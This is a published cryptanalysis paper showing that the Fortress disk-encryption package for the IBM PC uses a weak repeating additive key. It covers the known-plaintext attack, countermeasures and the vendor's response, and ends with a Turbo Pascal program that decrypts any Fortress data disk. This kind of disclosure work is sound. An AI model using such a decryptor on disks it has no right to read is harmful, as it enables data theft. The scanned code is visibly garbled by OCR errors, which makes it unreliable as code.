ANOTHER DATA INSECURITY PACKAGE

Martin Kochanski

ABSTRACT: A further commercially available encryption package for the IBM PC is analysed, and a simple breaking program is described.

KEYWORDS: Computer security, IBM PC, encryption, cryptanalysis, software.

INTRODUCTION

As we showed in a previous article [1], many commercially available data security packages are seriously flawed, and rely on trivial encryption algorithms which can readily be broken, mostly without requiring any particular cryptographic expertise. The intending purchaser of a security system is faced with a bewildering array of packages which make claims about security that are excessive and that in many cases have no basis in fact, and thus has no reliable basis for making a choice.

When they have no way of evaluating products themselves, people usually fall back on looking at the supplier's credentials, which are easier for a layman to assess. We were thus interested to see that the international firm of accountants, Deloitte Haskins & Sells, having written and published a report on all aspects of computer fraud and data security, had commissioned and were selling a data security package, called Fortress, for the IBM PC. A package with such a reputable firm behind it must surely be a good thing.

FORTRESS

Fortress comes in two versions: a simpler one, which keeps selected disk drives permanently encrypted, and a more complex one, Fortress Plus, which additionally provides a system of menus that allows a system supervisor to restrict user access to programs and directories. Both versions use the same encryption algorithms; they differ only in the additional layers of protection that they build on this cryptographic foundation.

The installation of Fortress gives the user an impression that its makers are serious about data security. The user is shown a randomly-generated code, and must telephone a special number, give his serial number and the code, and receive a password to type in before installation can continue. This procedure reassures the user and presumably protects the supplier against illegal copying; its security is not, however, relevant to the security of the package in normal operation.

After installation, each instance of Fortress uses a single, unique key to encrypt everything on all disks it controls. If the same copy of Fortress is installed several times, the key is different each time. The uniqueness of the key means that it is impossible to transfer encrypted data diskettes between installations; but the fact that a single key is used means that the key-finding part of any attack only needs to be done once: for example, if a stray backup disk is used to deduce the key, the machine's hard disk can then be decrypted without further effort.

ATTACKING FORTRESS

Assume that a thief has stolen a number of backup disks, and wants to read the data on them. He knows that the disks were encrypted using Fortress, but has no access to the copy of Fortress used, does not know its serial number, and does not know what passwords or keys were used. He has access to a PC, and has either the DEBUG program supplied with DOS, or (a little easier to use) a general disk utility program such as the Norton Utilities.

If the data are worth buying Fortress to protect, they are worth buying Fortress to attack, so we also assume that the thief buys himself a legitimate copy of Fortress in order to find out the algorithm - not, of course, the same copy that was used to encrypt the files he is attacking.

Fortress provides for partly-encrypted (*boot*) disks, to allow the computer to read the files it needs to start itself up before running Fortress: however, to keep the description simple, we shall assume that a fully-encrypted (*data*) disk is being used, as will normally be the case with backup disks and disks used for data interchange.

The steps to be taken in an attack are:

1. To deduce the algorithm (using the specially bought copy of Fortress but without access to any of the stolen disks).
2. To decrypt the stolen disks (without using any copy of Fortress, even the specially bought one).

DEDUCING THE ALGORITHM

We shall assume that the floppy disk being used to deduce the algorithm is in the IBM PC single-sided 8-sector format. This assumption is completely unnecessary for the success of the attack, but it makes the description simpler.

A single-sided 8-sector disk has 40 tracks, numbered 0 to 39, with 8 512-byte sectors, numbered 1 to 8, in each: we will refer to track m sector n as sector m.n. The DOS reference manuals, or any one of numerous other sources of information, will show that sectors are used as follows:

- Sector 0.1 contains start-up (boot) code for the computer.
- Sector 0.2 contains the File Allocation Table (FAT) for the disk.
- Sector 0.3 contains a second, identical copy of the FAT.
- Sectors 0.4 to 0.7 contain the disk directory.
- Sectors 0.8 to 39.8 contain user data.

Format a new single-sided 8-sector disk, and (using Basic or Debug) write a file containing 1024 binary zeros: call the file ZERO.000.

The first sector of ZERO.000 will be sector 0.8, and the second will be 1.1: this can be verified by using Debug or the Norton Utilities.

Start up your computer with the copy of Fortress you have bought, and make it encrypt the disk you have just created (for instance, by the command ENCRYPT B:).

Start up your computer again, without Fortress, and look at the sectors that contain the file ZERO.000:

Sector 0.8:

```
0000 F9 20 FF D0 EB 17 F2 AE 6E ED B7 9D B1 3A 14 BC
0010 1D BE 74 D0 3C 89 7D BB D1 AA E2 49 20 65 5F F6
0020 58 85 73 E6 AB 9F EE 7F AE C5 B1 54 21 56 2B 2B
0030 6E C2 C0 EB 41 31 97 BE 7F 6E 43 2F B0 8C EA 37
0040 41 FF E3 B1 72 7A 12 EF 91 7F 51 E5 02 D1 31 43
0050 39 E6 A2 88 FB 05 F6 D9 EE 07 CC 64 5B 7E 77 87
0060 03 8F 47 0F 02 3B 5E 00 A3 CB F6 5E 31 86 97 81
0070 23 7A 7E B2 EF BB C7 F3 28 B9 52 58 E0 A8 20 A5
0080 4E 57 81 7C 52 FC 90 95 56 03 AB C2 C4 43 F7 DE
0090 BB 89 E3 CA 93 42 09 3D 28 42 E8 57 87 AD F9 31
00A0 45 B6 6A BA 99 DF 73 D2 B8 43 37 6F 50 26 FE BF
00B0 FC 44 A1 B6 A7 45 A9 E0 AA 97 19 7B 1F 6E 6B 55
00C0 13 99 46 0C F7 ED 83 F4 7C 19 FE 73 7F 24 30 55
00D0 0C AB F6 28 D3 2E 42 32 FB 08 D9 EE EC 2E BA 03
00E0 5F C4 7C 99 93 4A 64 8B DD 10 33 C7 6A 08 5B D4
00F0 FF 09 D6 23 93 0D B1 F0 4E D3 10 CF C7 08 1A 96
0100 44 2D 2C 25 B6 5D 18 20 3A CE 1C B0 13 B5 FC 6E
0110 27 CA CF 7E 06 D2 81 1F 36 4C 0F 4A F7 6C A7 0C
0120 00 31 70 7D 6D EA 63 CE F1 88 01 A5 71 D9 48 50
0130 33 24 36 61 5F 9D 24 5F FF E2 F4 F3 97 8D 40 FB
0140 D5 74 24 D0 C7 9C EE C1 65 BF 5B BD 4F 11 D5 BB
0150 B8 8F BF 2B 7A CC 52 89 34 ED 1F BE A9 C2 E6 5A
0160 28 74 0C A9 67 11 50 07 64 63 69 CD 1D 4F FC F6
0170 0B 44 46 73 11 BB 00 EC A2 58 85 9D 21 89 21 EE
0180 FC 9C 73 37 66 EE 5E 1C 89 AD 7B F1 C1 B4 D7 24
0190 3B 72 78 60 24 94 68 92 81 A0 85 C0 9B B2 1D 21
```

```
01A0 4F 51 21 56 3A 13 4E 7C 00 4C 6E 09 16 46 E9 74
01B0 4F 87 7F F9 20 FF D0 EB 17 F2 AE 6E ED B7 9D B1
01C0 3A 14 BC 1D BE 74 D0 3C 89 7D BB D1 AA E2 49 20
01D0 65 5F F6 58 85 73 E6 AB 9F EE 7F AE C5 B1 54 21
01E0 56 2B 2B 6E C2 C0 EB 41 31 97 BE 7F 6E 43 2F B0
01F0 8C EA 37 41 FF E3 B1 72 7A 12 EF 91 7F 51 E5 02
```

As can be seen, the pattern "`F9 20 FF`. . ." starts to repeat itself at byte location 1B3 in the sector (the pattern is thus 435 bytes long).

Sector 1.1:

```
0000 20 FF D0 EB 17 F2 AE 6E ED B7 9D B1 3A 14 BC 1D
0010 BE 74 D0 3C 89 7D BB D1 AA E2 49 20 65 5F F6 58
     (...)
01B0 87 7F F9 20 FF D0 EB 17 F2 AE 6E ED B7 9D B1 3A
01C0 (etc.)
```

This time the entire pattern has been shifted by one byte.

It looks as if the algorithm is just: "Take a 435-byte key, and add it to the data byte by byte, starting at a different place in the key for each sector". A little further investigation shows that this is indeed the case. Here the key is `09 16 46… 00 4C 6E`, and the addition starts n bytes into the key if this is the nth sector on the disk.

This value of the key was unique to the copy of Fortress that was used for the test, and so it gives no useful information about the stolen disks; but the algorithm is general. So now burn your Fortress disks, forget the key (and its length, which may vary), and only remember the algorithm.

DECRYPTING A STOLEN DISK

Knowing the plaintext of a single encrypted sector is enough to deduce the key - the plaintext is just subtracted from the ciphertext byte by byte, and the period found, exactly as was done above.

As a consequence of the disk format, sectors 0.2 and 0.3 are always identical. To allow proper operation of commands such as DISKCOPY, sector 0.2 is not encrypted by Fortress, but sector 0.3 is. So sector 0.2 gives known plaintext for sector 0.3. If someone else steals the disk we have already used as an example, he can deduce the key as follows:

Sector 0.2:

```
0000 FE FF FF 03 F0 FF 00 00 00 00 00 00 00 00 00 00
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0030 (etc.)
```

Sector 0.3:

```
0000 E7 73 4E 8A 6F F8 20 FF D0 EB 17 F2 AE 6E ED B7
0010 9D B1 3A 14 BC 1D BE 74 D0 3C 89 7D BB D1 AA E2
0020 49 20 65 5F F6 58 85 73 E6 AB 9F EE 7F AE C5 B1
0030 (etc.)
```

Result of subtracting 0.2 from 0.3:

```
0000 E9 74 4F 87 7F F9 20 FF D0 EB 17 F2 AE 6E ED B7
0010 9D B1 3A 14 BC 1D BE 74 D0 3C 89 7D BB D1 AA E2
0020 49 20 65 5F F6 58 85 73 E6 AB 9F EE 7F AE C5 B1
0030 (etc.)
```

This is exactly the key for this copy of Fortress, shifted by 3 bytes because sector 3 was used to deduce it.

A sample program, written in Turbo Pascal, is presented at the end of this paper. It implements this attack, and can be used to decrypt any data disk encrypted by any copy of Fortress that uses the current algorithm, irrespective of the key.

COUNTERMEASURES

The attack described above requires some known plaintext, and could be frustrated by encrypting both the FAT sectors (0.2 and 0.3), or by encrypting neither of them. In each case, other attacks are possible.

If both FAT sectors were encrypted, then subtracting the ciphertext of 0.2 from the ciphertext of 0.3 would give a sequence of differences between adjacent bytes of the key:

```
0000 A3 8B DB 38 F8 7A 27 DF D1 1B 2C DB BC C0 7F CA
0010 E6 14 89 DA A8 61 A1 B6 5C 6C 4D F4 3E 16 D9 38
0020 67 D7 45 FA 97 62 2D EE 73 C5 F4 4F 91 2F 17 EC
0030 (etc.)
```

(4th - 3rd = E9 - 46 = A3, 5th - 4th = 74 - E9 = 8B, etc.) Now the second byte of a FAT sector such as 0.3 is always FF; this is encrypted by the 5th byte of the key (since the key is offset by 3 bytes for sector 0.3), so if the ciphertext of this byte is 73, then the 5th byte of the key is 74. The sequence of differences can then be used to deduce the whole of the key itself. If neither FAT sector were encrypted, then the file structure of the disk would be known, although the actual names of the files would not. Fortress encrypts directories as well as files, and this feature, presumably intended to improve security, provides a way in for the knowledgeable attacker. Otherwise, given any potential known plaintext, the disk can be searched for it, since subtraction of plaintext from a given encrypted disk sector will not yield a periodic key unless the right sector has been found.

SUPPLIER'S REACTION

On hearing of the attack on their encryption algorithm, Deloittes issued a long statement [2] claiming that we had "not cracked Fortress, but ... merely achieved what any authorised user might obtain from his own files". They added that the whole attack demonstrated "a common misunderstanding that security professionals continually strive to overcome" by assuming that the security of a system depended on a secure encryption algorithm. Encryption, they said, is "only one aspect of a security system." They then described at length the physical security precautions that users should take to prevent data theft - locking doors, using safes, and so on - despite the fact that their manual states explicitly that "*even if a thief succeeds in stealing the machine, the data on the hard disk is still secure.*"

CONCLUSION

No security system can be more secure than the encryption algorithm it uses, and Fortress has a very weak algorithm. We cannot, of course, comment on what criteria were used to select algorithms, or why this particular one was chosen for Fortress; but we find the attitudes implicit in the supplier's reaction to the discovery of weaknesses in their system even more disturbing than the weaknesses themselves.

[Product mentioned: Fortress from Deloitte Haskins & Sells, 128 Queen Victoria Street, London E.C.4, England].

REFERENCES

1. Kochanski, M. 1987. A Survey of Data Insecurity Packages. Cryptologia. 11:1-15.

2. High, J. 1987. Fortress - The Debate Continues. Computer Fraud and Security Bulletin. 9(7)May: 10-11.

BIOGRAPHICAL SKETCH

Martin Kochanski holds an MA in Mathematics and Philosophy from Balliol College, Oxford. He works for Business Simulations Limited, a software house supplying database, security, and acceleration packages for personal computers, and has designed the world's first commercially available chip for RSA encryption. He still does not intend to start a validation service for rival encryption and security products.

SAMPLE PROGRAM

This program, written in Turbo Pascal, decrypts a Fortress data disk (e.g., a backup disk). It is written to illustrate the principles involved, and is not meant to be efficient.

Note: this program has been scanned in from the Cryptologia article. The scanning process may have introduced errors into the program text. We have not attempted to compile or run it to see what those errors may be.

```
const Drive = 1; (*1 = A:, 2 = B:, etc.*)
type DriveDataRecord = record (* Disk format data returned by DOS *)
          DriveID,SubID:byte;
          SectorSize:integer;
          ClusterMask,ClusterShift:byte;
          FATStart:integer;
          FATCopies:byte;
          DirectoryEntries:integer;
          DataStart:integer;
          MaxCluster:integer;
          FATSize:byte;
          DirStart:integer;
          end;
    DiskSector = array[0..511] of byte;
var DriveData:DriveDataRecord;
    KeyLength:integer
    KeyData:DiskSector;
procedure GetDriveData;
(*Gets diak format information for the specified drive into 'DriveData' *)
var DDP: ^DriveDataRecord;
    r:record AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags:integer end;
begin
  with r do begin
    AX:=$3200;
    DX:=Drive;
    MSDOS(r);
    DDP:=Ptr(DS,BX);
    end;
DriveData:=DDP^;
end;
procedure ReadSector(SectorEumber:integer;var S:DiskSector);
(*Directly reads a diak aector:  inline code ia needed to access
the special DOS interrupt 25H. Other dialecta of Pascal may
have library routines to perform this function. *)
begin
  inline($55/                  (*PUSH BP*)
  $1E/                         (*PUSH DS*)
  $BO/<Drive-l/                (*MOV AL,drive*)
  $B9/>1/                      (*MOV CX,1*)
  $8B/$96/>SectorNumber/       (*MOV DX,aector*)
  $C5/$9E/>S/                  (*LDS BX,buffer*)
  $CD/$25/                     (*INT 25*)
  $1F/                         (*POP DS to remove flags from stack*)
  $1F/                         (*POP DS*)
  $BD);                        (*POP BP*)
end;
procedure WriteSector(SectorSumber:integer;var S:DiskSector);
(*Directly writes a diak aector: like ReadSector, but interrupt 26 not 25 *)
begin inline($55/$lE/$BO/<Drive-l/$B9/>l/$8B/$96/>SectorNumber/$C5/$9E/>S/
$CD/$26/$lF/$lF/$5D);
end;
function FindKeyLength(K:DiskSector):integer;
(*Return the shortest possible key length based on the key stream K:
1 => K is constant, so probably all zero because the disk is not encrypted
0 => K is not periodic.  *)
  function PossiblePeriod(i:integer):boolean;
  (*Tests whether K repeats itself with period 'i' *)
  var j:integer;
  begin
   PossiblePeriod:=false;
   for j:=0 to 511-i do if K[j]<>K[j+i] then exit;
   PossiblePeriod:=true;
  end;
var i:integer;
begin
 for i:=l to 511 do
  if PossiblePeriod(i)
```

```
  then begin
   FindKeyLength:=i;
   exit;
   end;
FindKeyLength:=0;
end;
procedure DecryptSector(SecNo:integer;var S:DiskSector);
(*Decrypts S, the contents of sector SecNo *)
var i:integer;
begin
 for i:=0 to 511 do S[i]:=S[i]-KeyData[(i+Secno+KeyLength) mod KeyLength];
 end;
(*** MAIN PROGRAM ***)
var FATl:DiskSector;
   i:integer;
begin
GetDriveData; (*Establish size 4 location of FAT, etc*)
with DriveData do begin
 if (SectorSize<>512) or (FATCopies<2)
  then begin
   writeln('CANNOT HANDLE DISKS OF THIS FORMAT');
   halt;
  end;
(*Read both copies of the file allocation table:  the first will be plain,
the second encrypted*)
ReadSector(FATStart.FATl);
ReadSector(FATStart+FATSize,KeyData);
(*Subtract plaintext from ciphertext to get the key*)
for i:=0 to 511 do KeyDataCi]:=KeyData[i]-FATl[i];
(*Find the period of the key*)
KeyLength:=FindKeyLength(KeyData);
case KeyLength of
1:  begin writeln('DISK IS NOT ENCRYPTED'); halt end;
0:  begin writelnCCANNOT DEDUCE KEY'); halt end;
else writelnC'Key length = '.KeyLength);
end;
(*Decrypt the whole disk using the deduced key*)
for i:=FATStart+l to DataStart+((MaxCluster-l) shl ClusterShift) do
 begin
  ReadSector(i,FATl);
  DecryptSector(i-(FATStart+FATSize),FAT1);
  WriteSector(i.FATl);
  write('.');
  end;
 writeln('DISK HAS NOW BEEN DECRYPTED');
 end;
end.
```